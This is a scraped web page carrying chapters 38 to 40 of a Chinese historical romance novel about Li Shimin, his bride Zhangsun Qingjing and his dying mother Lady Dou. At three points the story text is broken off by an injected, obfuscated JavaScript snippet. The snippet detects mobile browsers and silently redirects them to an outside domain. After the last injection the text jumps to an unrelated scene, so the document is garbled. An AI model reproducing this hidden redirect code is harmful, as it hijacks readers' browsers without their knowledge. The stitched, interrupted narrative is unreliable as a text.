李世民萎靡地坐在窗边,意志消沉,好似多日积攒的快乐都被这巨大变故吞噬而去。 长孙青璟坐在他面前,细腻的双手突然覆盖他颤抖的手背:“休息吧。听阿娘的。” 他突然抓住她的双手覆上他的脸颊。然后,如婴儿般,伏在青璟膝头。 她看不见他的脸,只感觉他的脊背剧烈地颤抖着,胸口起伏着发出山谷低沉的回声。他的睫毛刮蹭着她的手指,留下一串温热的眼泪。 她稳定的脉搏回应着他太阳穴陡然的跳动。然后,十指沿着他被泪水濡湿的下颌上划,搂住他的弯弓一样有力的脖颈,将那个毛茸茸的、思绪纷乱年轻头颅埋进少女温暖芳馨的胸膛。 清冷的月光灌满了整个庭院,有几道光从缝隙漏了进来。长孙青璟的惊鹄髻纤毫毕现,如发羽振翮的天鹅。 李世民抬头,只觉得长孙青璟是他在这困厄时光里唯一的月光。 38. 成礼 在城郊家庙中,长孙青璟与李世民在李建成夫妇导引之下完成三献之礼。 长孙青璟正式告庙成功,成为唐国府一员。 四人俱是沉默寡言。兄弟并骑,妯娌同乘。 銮铃单调的叮当声令人昏昏欲睡。 寒风吹开帘帷,车窗外一片力尽声嘶,耳旁回旋着并不存在的痛苦呻吟。呼吸里都带着细沙与碎冰的味道。 长孙青璟默默地将手移近独孤璀膝头,轻柔地抚摸她的手背。 她喜欢独孤璀身上与高氏相近的水沉香白檀木合二为一的味道,宁静、沉着,悄无声息间阻挡千难万险。 “无妨。”独孤璀将这个小自己十多岁的弟媳拉近自己些许,伸出臂膀松松地环住稚嫩的肩膀。 “我们一起熬过去。” 銮铃的声音越发破碎、响亮,有一种刺破耳膜的暴躁。 马车颠簸着,驶向长孙青璟眼下的正式的家,驶向未来的无限痛楚与诡谲。 身为唐国府新的掌家娘子,长孙青璟无需在庖厨亲力亲为。只是跟着独孤璀熟悉环境。 窦氏日渐消瘦,食少纳呆,太医也无计可施,只令家人勉力做一些夫人爱吃的,无须忌讳。 独孤璀与长孙青璟商酌半日,便令厨子多煮一瓯饧粥,算作长孙娘子进门后为主母窦氏做的第一道菜。其余菜品照旧。 “杏酪里杏子味淡了,你尝尝。”独孤璀将汤匙交给长孙青璟,“母亲偏好杏味重的,重新熬制。石蜜也比平日加倍。焖煮将近之时,你再品一品浓淡。” 厨子们听得两位娘子计议,便重新熬制杏酪。两位娘子便暂退到庖厨之外休歇。 闲暇时,独孤璀便将国公府在大兴、洛阳、河东几处房宅、几处别业,几处田产,所捐观寺一一详说给长孙青璟听,以免家人说起熟悉事务之时新妇茫然无知。 “你算学如何?我听说你有个从叔父擅长此道,很得主上赏识。”独孤璀问道。 “我不敢跟叔父比,只不过被母亲催着看过几页《周髀》《五曹》。母亲常说,像我这样懒散地学一点皮毛,去令人市、都会市时不被商贾诓骗就可以了。”长孙青璟笑道,“不过我舅母胆子大,平日子叫我一起核对职田赋税账目。” 说起被朝廷没收的职田,长孙青璟小小地忧郁了一下,随即又把情绪调整过来:“大嫂有事尽管吩咐。” “那也够用了。你母亲也想得很周全……我以后便可以时不时偷个懒了。不急,我慢慢教你。我怕厨子懒怠,你先去尝尝新熬的杏酪……” 两人正联袂而行,院中却传来激烈的争辩。 “……为什么现在把万宣道带来大兴,母亲允许了吗?”长孙青璟听到了李世民尖利的质问。满腔的愤懑似乎已经穿透了凝滞的空气。 “是父亲的意思。你无需过问。你今日才正式完婚,不先休沐,反而又管起父亲的闲事来!”李建成底气不足,但是竭力维护着父亲的权威。 “到底是父亲的意思,还是万娘子的意思?身为国公侍妾,万娘子理应为夫人侍奉汤药。母亲念她多年恭顺,不忍劳动,特意令她在河东守宅;又将智云留在身边教养,视同己出。她不思报答,反而趁主母病重之时,将自己的亲弟弟安插进国公府,侍奉父亲左右。安的到底是什么心?” 李建成被弟弟抢白得一时语塞,不知如何应对,只得支吾其词:“论理,万宣道也是刺史之子,并非见不得人的贱籍——父亲也需要李家子弟未来多些帮衬,所以将他带来大兴。母亲那边,大家小心隐瞒,以后慢慢周旋就是。” 李世民气恼地大喊:“母亲已经看到他和智云在一起了,她那么聪慧,我们如何瞒得过她。她都猜到了。为此,母亲心中苦闷——兄长为什么不劝父亲?哪怕让万宣道留在河东,也比成天在母亲面前游荡好!” “你说的不无道理,可是我怎敢违抗父命。”李建成有些尴尬,只能再次搬出父亲。 “既然兄长不愿意规劝父亲尊重结发妻子,那我只好自行前往……”见到兄长瞻前顾后的模样,李世民一时气苦,愤然转身。 长孙青璟与独孤璀互相使个眼色——先不去管这庖厨之事,将兄弟间的嫌隙压制下来才是正事。 长孙青璟飞奔上前,截住李世民去路。 “且慢,你先听大嫂说一句。”她夸张地张开双臂,像一只小巧的罗浮凤,不自量力地阻挡鹞鹰的去路。 “你竟然偷听我们说话!”李世民气闷之下,口不择言。 长孙青璟扁嘴道:“你方才吼那么大声,是担心小人不去父亲面前搬弄是非吗?” 独孤璀与李建成一同拉住冲动的二弟。 “二弟,此事不要急躁,徐徐图之。当务之急是令母亲多拖延些时日,我们悉心照料;父亲那边宜软硬兼施,不可触怒。一旦触怒父亲,于母亲身体反而更不利……”三人权衡利弊、反复陈说,终于勉强劝住了倔强的李世民。 “哎呀,饧粥的口味我还没有尝呢!要是不够香甜、不合阿娘口味可怎么办?”长孙青璟突然急得直跺脚,“我可不能令我母亲颜面扫地。” 独孤璀莞尔道:“你所献上的羹汤,母亲无有不满意的。只管收拾戚容,手捧饧粥,侍奉母亲。多与母亲谈笑,依礼,今日你二人才算正式完婚,母亲心生欢喜,自然便多喝几口。” 事实也是如此,病榻上的窦夫人见到李世民与长孙青璟二人庙见礼成归来,顿时喜上眉梢,竟然勉为其难地咽下几口兴平酥与饆饠。 而她最爱的还是掺杂着杏酪与石蜜的饧粥。 虽说窦夫人食纳依旧堪忧,但总算令子女看到一丝好转的希望。 太医总算未将话说死,让略带天真的李世民觉得,也许母亲食欲好了,再开方子就能见效了。 “我想去终南山的翠微别业静养。躲一躲探病的闲杂人等,多赏几日美景,过些不陪你们父亲担惊受怕的清闲日子——青璟,你可愿意与我同行?”窦夫人语出惊人,多少有些病人异乎寻常的任性妄为。 “阿娘,我当然——”长孙青璟刚想应承下来,却瞥见丈夫与兄嫂皆是一脸惊诧与忧虑。 她那欢悦的应答多少有些不合时宜,只能支吾着搪塞过去:“阿娘莫不是逗我开心?” “啊,我知道你是着宅子里唯一真心想陪我同去的人!无非是害怕眼前这三人责怪你才闪烁其词。无须怕他们!”窦夫人笑对两个儿子,“我想趁着今天咳喘消歇一点,就启程。我倒也不怕赤忱相待的亲友因为路程遥远而不来探望,又正好与那些虚情假意的伪善者分道扬镳,岂不妙哉!——我这一走,你们父亲正好可以安心公干,我便死而无憾。” “阿娘——”李建成阻止道,“就在大兴城中延医问药也方便,何苦舍近求远。更何况冬日寒凉,那山下别业实在不是什么好去处。” “我意已决。衣服器物均已装入箱箧。只待与你们父亲商酌后便出行。” 窦夫人所谓“商酌”从来不是征得丈夫同意,只是告知,然后便隐入山林。 至于丈夫乐不乐意、有无腹诽便不在她的考虑范围之内。 “毗提诃,我知道你心中不情愿我就此离开大兴城。有什么话一次说完,我逐条驳斥。”窦夫人已经摆出与次子论辩的劲头。 李世民心中天人交战了许久,终于压制住一吐块垒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041817|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冲动,近乎讨好地说道:“我哪次说得过母亲,母亲哪怕此刻想启程去东都,我也只能老实奉陪。去终南山也好,青璟出嫁前也久居她舅父家的南山别墅,对各处大道小径奇景比我都熟。她会说变文,讲传奇,弹琵琶箜篌,由她陪着,阿娘也不觉烦闷。” “那就好,我即刻梳洗。你四人靠近一些听我讲些要紧事。毗提诃你坐在我身边听好。”窦夫人挣起僵硬的身体,凑近次子道,“你马上转告你父亲。我去翠微别业养病,有佳儿佳妇相伴,他不用牵挂。只是有件事要劳烦唐国公——我的灵柩回到唐国府的之时,不想撞见万宣道!” 窦夫人的言辞尖刻而绝望,有一种与命运一搏的刚毅;语调却是冰凉而冷漠,充斥着置身事外的决绝。 晚辈四人一时语塞词穷,就连先前为了万宣道来大兴依附李家一事耿耿于怀的李世民,也不知如何向父亲复述母亲这番言辞。 婢女们正收拾寝室中夫人最爱的一扇孔雀屏风,准备包裹装车,窦夫人见状,突然厉声喝道:“将这屏风放在原处!三十年的旧物不足惜,何况屏中孔雀还瞎了双目。往后不需再携它出入了。” 紧接着,一阵钻心彻骨的疼痛袭上她的胸口,扼住了她的咽喉,引来剧烈的咳嗽与无尽的喘息。 一向熟悉主母出行或者陪同唐国公宦游习惯的婢女一时噤若寒蝉,不知深意,只是请罪。 窦夫人喝下长孙青璟递来的沉香饮,眼中含泪,柔声对莫名受责骂的婢女道;“好孩子,你把之前二郎送我那扇绘有凤栖梧桐的屏风带上。眼前这扇孔雀屏风只是个鸡肋一般的老物件,日后无须再请人织补,随它朽烂便是了……” 知道这孔雀屏风故事的李建成和李世民心中都暗自忧伤,却是大气也不敢喘。 “青璟,你去准备一下常用的器物,与我同行。薛国公、殿内少监、治礼郎都说你喜欢读书,此去不妨多带些。无事时便讲给我听。毗沙门,你和阿璀守家,孝顺父亲,照拂弟妹。阿璀比你有远见,凡事多听阿璀规劝。”窦夫人毕竟有些放不下,又怕死板的长子真的只是守家,便叹息道,“大郎,你做事要有主张,切不可如你父亲般优柔寡断——你听好了,一旦东都紫薇城里传来涉及你阿耶的风吹草动,或者有你舅父陈国公书信,记得快马加鞭来南山别业告知我!” “先散了吧。”一阵剧烈的咳嗽导致窦夫人再没有力气说下去,但是她仍不忘记嘱托李世民,“毗提诃,快去把我的意思告诉你阿耶,无须辩解,原原本本说,一字不改,无须等他回应。说完就回来带我和青璟走!” 这就是长孙青璟整个婚礼的尾声。她忘记了家庙中庄严的祭祀仪式与祷祝之词,忘记了自己担心饭菜不合窦氏胃口的慌张,甚至忘记了李家兄弟为了父亲妾氏的兄弟享有逾礼优遇的争吵,忘记了自己螳臂当车般挡在李世民身前不准他前去与父亲争辩的决断,但是她唯独忘不了窦氏寝室里那扇绣有孔雀图案的屏风,忘不了新旧丝线交缠生辉的异彩,更忘不了高傲的孔雀两眼的空洞与忧伤。 若情丝如蝮蛇螫手,女子亦能效仿壮士解腕。 她不再需要陪伴自己三十多年的旧屏风——那一天,窦夫人为自己选了一扇新的屏风,无关家族荣耀的延续,无关父亲的意愿,无关丈夫的喜好,那只是她人生收获的最好的礼物。 长孙青璟这样想着,最后瞥了沉没在满室灰尘中的旧屏风,灰尘在阳光透进去的地方倒映着金色的微光,细细碎碎,星星点点,华丽炫目。 它们落在了屏风上,如碎金迷糊了双眼,但浮云一旦遮蔽金轮,灰尘终究只是灰尘的样子。 这是长孙青璟的第三个家,与血缘无关。 39. 凛冬 长孙青璟嘱咐阿彩带上自己多个书箧,常用衣服首饰与香料,准备启程去终南山翠微别业。 当她和李世民搀扶着窦夫人跨出寝室时,三人忽然觉得天空明净如拭,而窦氏的心胸也如拭般松爽,数月间淤积的浊气一吐而尽。 两辆马车并列于国公府正门前。李建成夫妇,李琼曦、李陇月、李元吉诸子女皆来送行。 李智云有些慌乱地拜别万宣道,便径直回到兄姊中间,不敢再目送这位亲舅的马车远去。 一家之主李渊姗姗来迟,好像刻意回避着万宣道,也许还在思索着如何挽留妻子。 长孙青璟意识到,窦夫人和李世民这对母子赌赢了。 但是窦夫人似乎对这种赌局兴意阑珊,她赢得凄惨,并无快慰之意,只是望着南方山峦的苍翠。 “夫人,我已经照你说的,委托宇文士及将那几匹上好的突厥马与几头鹞鹰进献主上……”他们没有直接谈论万娘子、万宣道,好像这二人在他们的生命中从未出现过。 但是唐国公确实用最为倚重妻子的方式来重申窦氏在自己心中的地位。 李世民面有喜色,他终究是窦氏与李渊共同的血脉。他身上属于母亲的那一部分指责着父亲的薄情,而属于父亲的那一部分却因为一些轻易的示好而快速地原谅了父亲。 窦夫人只是点头,却没有回头看丈夫一眼。李渊尴尬地摘下自己的裘皮手衣,为妻子戴上。 “我把孔雀屏风留给国公了。今早我突然想起那是当年国公向我父亲讨要的。一件旧物什而已,任由国公处置。”窦夫人冷冷地说。 “洛阳那边一有我右迁的好消息,我就告诉你。”李渊望着妻子苍白的脸,握紧她的手道,“我会尽早来翠微别业陪伴你——你、我、毘提诃,加上青璟,一切都像过去游宦时一样,没有任何变化……你记得加餐饭、寒添衣,勿思虑。” 他没有强作挽留,因为妻子所下的决定无不一一兑现,多劝无益,索性遂她心愿。 窦夫人罕见的没有回应这份期待与柔情,抽回手:“叔德,我走了。” 马车疾驰在朱雀大街上,把车中人三十年的柔情、理想、愁怨连同漫卷的尘土全部抛在了身后。 车内剧烈的咳嗽声时不时引来李世民勒马探身询问母亲是否需要歇息,车夫也每每因不忍而按辔徐徐而行,拖拉了许久才驶出明德门。 在城郊的大道上,窦夫人有一瞬间恢复了精神的清朗。 “青璟,你看过《踏谣娘》吗?” “看过。” “你喜欢看吗?” 面对精明的窦夫人,长孙青璟犹豫片刻,她决定坦诚以待,没有必要用拙劣的谎言掩饰自己敢爱敢恨的性格。 “不喜欢。”贤德的定义并非以顺为正,她暗想。她准备接受婆婆的裁决,也希望婆婆接受自己的爱憎。 “啊——那我就更喜爱你了。”窦夫人如有所指,却不明言,“青璟,你记住,若是毘提诃将来某一天变成苏郎中的样子,你切不可学他妻子那般自怨自艾。” ——这是母亲与女儿才会诉说的秘密。 “我好像听到阿娘在青璟面前偷偷说儿子坏话?”一张清俊的笑脸探进帘帷中,“观音婢,不要听阿娘胡说,她总喜欢没来由地揭我的短。” 窦氏抓起裘皮手衣,拍打儿子的脸:“赶你的路,不准偷听我们娘俩聊天!” 大家一同开怀大笑起来。 长孙青璟突然想到,如果苏郎中的妻子狠狠甩苏郎中一巴掌然后飘然离去,再不回顾,这个故事将会多么大快人心。 一行人走走停停,向午之时便距翠微别业不远。十几个家生与婢女早已恭候于道路两侧。 长孙青璟搀扶窦夫人走下马车。家生早已准备好空置腰舆,于是婆媳又换乘腰舆。 两位女眷与李世民指点着目之所及的几处胜景,谈笑之间便进入翠微别业。 待得所有随身行李器用摆放得当,窦氏也不愿歇着,趁着晌午和暖之时在中庭中散步。 她因终于经受不住风寒,便躲入屋中。 婢女早就将凤栖梧桐的屏风置于榻前。窦夫人仔细端详一番,面露喜色,直夸新屏风比老旧之物能更御寒挡风。 婢女将烘瓶烧暖,移近卧榻。又将两个手炉分别奉上。 窦夫人打发李世民去附近寺观祈福。不过安睡了两三刻的工夫,她便在咳喘中醒来。她喝了几口丁香饮,斜倚在榻上口述大意,令长孙青璟为自己代写数封信札——有给窦氏诸兄弟的,有给表妹宇文氏的,有给柴氏、段氏、王氏诸位亲友的。 长孙青璟根据窦夫人言谈中呈现的亲疏构思着不同的措辞,勉强跟得上一个身患重疾之人的想法。 写完信,长孙青璟又依言写下各种西域珍玩采购名册,传讯令婢女家生旋即去城内两市采集,之后与书信一同寄送亲友处。 婆媳二人忙乱半日,窦夫人神思恍惚倦怠,又有些心疼长孙青璟从清晨庙见到薄暮代笔未曾休歇,心中有些歉疚。 她仔仔细细看完儿媳代笔写给陈国公的家信,斟酌半天道:“削去前几句客套话,再告诉舅父:若舅父侍奉陛下左右,多言唐国公得突厥马之不易,在西京如何思念陛下,毗提诃在东都时如何感念侍奉陛下的荣耀。若有奸人构陷,望舅父竭力申辩,勿令天子生疑。将你父亲的处境写得艰难一些,令舅父动容。” “好,我这就改。写完再给母亲过目,之后马上誊抄。”长孙青璟熬不住疲倦,打了个哈欠。 “先不急改。明日给我过目,连同我为陈国夫人订做的波斯项链一同送达即可。”窦夫人有些歉疚地说道,“我性子急,眼里容不下沙子。除了毘提诃一人——三娘已出嫁算半个——阿璀也勉强算半个,大概全家没有他人办事令我心安。幸而你我意气相投,你跟得上我风风火火处世之道,我又多了一个帮手。” 长孙青璟微笑着喝了一口丁香饮,以为今日信札往来到此为止,揉捏着酸胀的手腕,小口咀嚼着婢女端上的水晶酥。 “——青璟,你扶我起来,替我拿一张蜡笺。” 长孙青璟闻言,立刻将沾了油酥的手擦拭干净,在案上抽取一张白纸。 “不要白蜡笺。”窦夫人指着案上这一沓纸的最底端,“用最庄重的硬黄纸写。你把放置笔砚的小案移近我一些,扶着我,为我端稳黄蜡笺,我要亲自给你母亲写信……” “阿娘,不必如此郑重——我母亲知晓您如此操劳会过意不去的。我在此过得很好,可以自己写信给母亲。”长孙青璟吃惊道,“这种小事不该劳动阿娘。再者,依旧你说我写也未尝不可。” 窦夫人已经提起毫管,另一只纤弱冰凉的手掌轻抚长孙青璟蜜桃般饱满的脸颊,摇头道:“礼节不可偏废,我应当亲自谢谢你母亲,将荆玉随珠一样宝贝的女儿交托给我们李家。” 窦夫人的每一个字都像是从肺腑中掏出来一般坦诚,令长孙青璟突然想伏在榻边大哭一场,可是残存的理智约束住了她,协助窦夫人完成一封如千金般贵重的书信。 ……………… 李世民从南山几处宫观、寺庙回到翠微别业时,已是更定。先拜见母亲,母亲已安歇。 婢女转达窦夫人的意思,要郎君先去照看长孙娘子。 阿彩跑来告诉李世民,长孙娘子就把自己安顿在窦夫人寝室边的小阁中。 他随阿彩来到妻子安排的临时住处,只见一地墨迹未干的王字书写的信札,与新近采购的珍奇一一对应摆放。 长孙青璟正趴在书案上假寐,手中还握着毫锥。屋内突如其来的响动令她惊觉起身。 “毗提诃,你回来啦!你有没有替母亲占卜?”长孙青璟在一堆白蜡纸中抬起头,襦袄滑落,花钗委地,只有笔杆还紧握在手中。 “大吉。”他不相信龟卜,但是这次他选择相信。 “你那么孝顺,上天不忍心把你和母亲分开的。”她努力挤出一些安慰人心的话,只觉得舌头发麻。 “你真是善解人意。我听说你代母亲写了一天信。”他的微笑似乎治愈了她一天的疲惫。 “不值一提,母亲病苦,我无能为力,也只能做些无关痛痒的小事……”她的愁绪涌上心头,竟然不受控制地呜咽起来。 李世民一时愣怔在那里,不知道该劝劝她,还是找块巾子,或者干脆将她揽在怀里。 他只觉得她一感伤,似乎自己也会禁不住落泪。 他瞥到了书案上的酒壶,便问道:“青璟,你怎么喝酒了?” “这是玉薤酒,母亲赏我的。”长孙青璟含混不清地说道,“我们一起写了很多信,嘱咐奴婢们购置了一堆礼物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046112|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我陪母亲喝了防风粥、炙烤羊肉。母亲提到自己年轻时爱喝玉薤酒,正巧今日都会市有胡人售卖玉薤,还吹嘘说和皇帝喝得那种一般无二,便有奴婢买了几壶。味道还不错。我日暮时有些困倦,喝了几杯后反而神清气朗,便一口气把草拟的信笺全部誊抄完毕。” “下次不要喝那么多。你们两个,母亲和你,真是又性急又任性。”李世民无奈地说道,“你本可以劝告母亲不要那么劳神。” “阿娘可喜欢我呢——我们聊了歌舞戏、蹴鞠、马球;她爱王右军,买过许多赝品;她年少时还将《神异经》夹在《列女传》中挑灯夜读,骗过了神武公与襄阳公主……”在过量玉薤酒的刺激下,长孙青璟兴奋地说起窦夫人年少时的荒唐趣事,酡红的脸颊洋溢着朝霞金红相间、不可逼视的光华。 有一个野性的、汪洋恣肆、不受任何人掌控的灵魂在原本温婉的躯壳里叫嚣着、嬉闹着、挣扎着。 “阿彩,我的琵琶呢?我的琵琶呢?”长孙青璟嚷道。 阿彩哪里敢回应喝酒后疯疯癫癫的娘子,早已躲到廊下。 “踏谣,和来!踏谣娘苦,和来!”她摇晃着站在地板上,幽幽地哼唱着两京最流行的苦情曲子,笑嘻嘻地问成婚三日的丈夫,“你会变成他吗?” “我不会变成苏葩。”李世民承诺道。 他抗拒着这种异样的、蓬蓬勃勃的光芒又不自觉地靠近,他讨厌长孙青璟忧伤地哼唱着自己不喜欢的歌,讨厌老天对母亲的不公,讨厌万氏姊弟深沉的心机,讨厌父母亲不能如他所愿地和好。 “够啦够啦,像个真正的衣冠中国、洛阳高门的贵女般娴雅斯文些。”他拉着长孙青璟坐下。 “我是代北人啊,阿娘也是啊——可以把柔然骑兵射落下马的代北女子,从来不是大兴深宅大院里的花狸,而是追风逐影的花豹。如果你敢把我当成猫,我便——”长孙青璟以笔为刀剑,在李世民胸口点了数点。 “这是笔,不是代人的刀剑,伤不了我。”李世民握住长孙青璟的手腕,将她紧紧贴合在笔杆上的手指一根根掰下,将笔放回砚池边。两人相顾无言。 李世民开始认真思考长孙青璟的奇怪的、无理的、意有所指的问题。 有一条疯狂的藤蔓在他周身蔓延,钻入肌肤,沿着血脉滋长,攫住他的心。 有一杯更烈的酒,倾进了李世民的喉咙。他伸手将长孙青璟揽入怀中。他紧紧箍住眼前这个瘦削的躯壳,仿佛那本是自己身体的一部分,鬓发摩挲,血脉交汇,两者一样的青葱,柔软,温热。 她颤栗不已,心向下沉了一拍。 熟悉的苜蓿香包裹了她,有种阳光的芬芳,令她平静下来。她听到了心跳在安静的更定时的回声——也许不是回响,而是另一个人的心跳。 长孙青璟的双臂下意识地环住了他宽阔坚实的后背,周身被灼伤般刺痛。 李世民松开钳制,将她的双肩移开些许,以便看清那张抽噎的、红润的脸。 生气勃勃的睫毛上缀着点点星子,清丽的月牙在泛起涟漪的眼眸里嬉戏。 倏忽间,一个生涩的吻落在长孙青璟唇上。 少年隐秘的渴望望,无法剖白的誓言和少女酒后癫狂乱语引发的征服欲念在一瞬间倾泻在这个热切的吻里。 长孙青璟承受不了这飘忽淜滂,激飏熛怒的飓风般的热情。她挣脱了那一团恣肆飞扬的烈火。 “我……我还有给你舅父的书信没写完……” 她酒已醒,他却沉入酣醉。 李世民的发际到耳根一片绯红,皮肤泛着琉璃清透的釉色,青色的经脉奔突着,几乎溢出这釉层。 “我不会变成他,变成苏中郎,李中郎……”他深思熟虑后回答,“观音婢,我不会变成自己嫌恶的样子——” “或者,你的父亲。”长孙青璟心中默念出李世民不敢提及的人。 …… 窗外劲风阵阵,呼啸奔走,蹶石伐木,梢杀林莽。 李世民整夜守候在母亲病榻前。眼前是母亲苍白和悦的面容,难得的均匀呼吸。 比邻小阁灯檠长明,是妻子挥毫命楮。 嘉平已至,凛冬将尽。 少年所要的不多,无非是与已经带自己来到这个世间的女人,与将要陪伴自己离开这个世间的女人,共处更多的光阴。 40. 响卜 时间呆板地流逝着,更漏单调的计时声开始被零星的鸡鸣、狗吠、陌上征铎的叮当声淹没在重现的天地之间。 混沌归于秩序,光明与黑暗开始分层。一切闪光的高飏飘举,一切暗沉的下落沉淀,天与地的界限逐渐明晰。晨霭犹如奇特的生命的载体,擦着地面流动扩散。 长孙青璟就双手合十跪在这一片晨霭之中。 她对响卜或者一切的占卜都是嗤之以鼻的,但是这次除外,她希望灵验。 响卜时,她的听觉总会分外敏感,附着于山树上的每一个精灵,冬蛰时偶然醒来偷听人言的虫兽,借着风力水流偶尔路过的祖先的魂魄会回答她心中所想。 只要心足够坦诚真挚,就一定能与世间灵异的万物相通。而与龟卜蓍草不同,响卜的最终解释权永远在祷祝者自己的手中。 “未已——未已——”精灵虫兽、风声水流都传达着令人振奋的讯息。 这个向来敬鬼神而远之的少女从自然的谶语中得到了无限的力量。 她折下一支含苞的腊梅,急匆匆跑向暖阁,想将这个好消息告诉任何一个她见到的人。 不明所以的阿彩被迫放下铜鱼洗,被任性的娘子拉着双手转悠了数圈,直到长孙青璟撞上了彻夜未眠,两眼红肿的丈夫。 “二郎!”欢悦的少女嗅了嗅手中的花苞,抑制不住被精灵们祝福的欣喜。“猜猜山神跟我说什么了?” “你去院中响卜了?我看到你双手合十跪在梅树下。”李世民的声音因疲惫而嘶哑。 “嗯,未已,未已。”她的声音,像出谷黄莺般清越婉转,有种不容置喙的昂扬。 “母亲昨晚睡得可好?”她转念问道。 “和山神精灵告诉你的一样好。” 长孙青璟几乎是蹦跳着进了暖阁。 年轻的娘子因为长时间跪在烈烈西风中,脸颊在回暖后呈现异乎寻常的红润。 她头顶云朵歪斜,鬓发沾湿,发丝散乱披拂。手臂因为长时间的寒冷而麻木,不自主地贴近烘瓶。 她双手揉搓着,不时起身围着烘瓶打转,跺脚。活脱脱一个娇憨的顽童。 过了许久,长孙青璟才羞赧一笑,坐在李世民身边。 她显然忘记了昨晚醉酒后的癫狂与几近失控的拥吻,把一切都当成了消散在曙色中的春梦,一笑置之。 鱼洗中弹跳出细碎又温暖的水珠,在蜜桃般的脸颊上碰撞、迸溅出更加纷杂细密的水雾,缭绕在长孙青璟的脸庞周围,停留片刻,才不情不愿地落回鱼洗中。像极了长孙青璟扑朔迷离的性格,像极了李世民怅惘茫然的心境。 窦夫人因为前一日过于劳神,直到晌午才醒来。她仍是吩咐婢女为自己梳洗。窗前青苍的山峦为怒云所掩,她不禁有些惋惜已无力拾级而上,去山间看一番积聚合沓、纷薄慷慨的景象。 “阿娘,昨日的家书与购置的珍玩尽皆寄送。今日阿娘还有何要事,尽管嘱咐奴奴去办。”长孙青璟已打发李世民休息,自己与婢女守在窦夫人病榻前。 她随意地翻看着《妍神记》,心思却为窦夫人的病情所扰,有种不知书中所云的挫败感。 在窦夫人安睡时,长孙青璟找来几张白蜡笺,给三位亲姊、甥女王婉、堂姊写信致谢。 长孙青璟一时文思阻塞,觉得笔下言之无物,索性将稿纸一并丢弃。她又挂念起母亲与兄长及其他家人。 自己在高家寝室中高燃三日的烛火应该在庙见之后吹熄,母亲会在吹灭烛火的那一刻怅然若失吗?她一定盼着女儿归宁。 也不知兄长是否在她婚事结束后收拾心境,将另一处新宅修葺一新,开始与颜家娘子谈婚论嫁。颜娘子决计不会嫌弃他的。 外祖母视物模糊,也不知侍奉她的婢子是否贴心,陪她看歌舞戏听合生时是否在旁详解。 舅母鲜于氏的苦于有身,也不知胃口如何,但愿表弟在腹中不要再折磨母亲。 舅父的车马不知已到何处,婚礼上放飞的大雁南归时是否与他擦肩而过。 “青璟,怎么一副心事重重的样子?可以说来我听听吗?”窦夫人在一阵急促的喘咳中醒来,苍白的脸上挤出一个和蔼的笑容,贴心地问道。 长孙青璟便如实道出对高府众人的牵挂。 “是我昨天太过任性,考虑欠妥了。”窦夫人若有所思道,“给你母亲的信函和香料也不知她收到没有?你想去崇德里看望母亲吗?我让毘提诃护送你去大兴城。” 长孙青璟与窦夫人相处了几日,也大致摸清楚她脾气秉性——对待所重之人,向来是不吝啬赞美与疼惜;亲口承诺之事,未有不一一兑现的。 所以窦夫人此番言辞理应不是虚言,她确实准备为了自己破例,有一番额外的怜惜在其中。 “这可万万行不得。”少女半开玩笑地掩口道,“母亲见我归宁,定会误以为我才出嫁三四日,已在国公府惹出无数乱子,导致夫家不容,遣我还家。她面上无光,都由不得我申辩,便气到风疾发作。阿娘,你可千万不要再提起此事。” “好!那就不再提了。”窦夫人知她一心照顾自己,也不再折其意,笑着应允。 这是一个竭尽全力独自支撑着尊严的病妇,哪怕缠绵病榻,也不愿以病容示人。 长孙青璟与婢女合力将她搀扶到镜台前,铜镜倒映出消瘦黯淡的脸庞。 长孙青璟执起银梳,为窦夫人梳理蓬乱的发丝。枯黄毛燥的长发阻滞了发梳的下落,纷纷应齿断裂,在梳齿间隙扭结成卷。她将这些被光阴煎煮的发丝小心取下,偷偷藏好。 身后传来婢女的啜泣。 “我年轻的时候,有满头透着青金石光泽的美发,从不施义髻,哪怕不钗不簪,也能在人群中引来无数欣羡的惊叹!——老天待我不薄,宁可让它们蓬乱,干枯,断裂,也不忍它们发白。”窦夫人坦然地望着铜镜,“你二人不要伤感,为我梳洗,化妆,更衣——我想出去走走。” “阿娘想看些什么景致?”长孙青璟并不劝告窦夫人在家休歇,只想尽可能满足她的一切奇思怪想。 她依稀记起父亲临终前的那几个月,似乎也有着异乎寻常的执念及热情。 他会突然在中夜转醒,催促母亲代笔将一些漠北诸国的见闻记录下来;有时又会非常急切地让安业将伯父长孙炽请到府中,痛陈主上宽待突厥的弊病。 他的死亡,并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毛丸在两人之间腾挪闪转,始终不坠。引来旁观者们拊掌喝彩。如是再三,长孙青璟渐渐觉得无聊,便扬脚将球送往高处。众仆来不及叫好,毛丸已经不偏不倚地卡在岩壁罅隙中钻出的松枝上。毛丸挂得说高不高,胆大者咬牙踩着岩壁突出的峭石往上攀援,取下毛丸似乎不难;说低不低,胆小者仰头便觉得头晕目眩,只能死心塌地等待他人相助了。 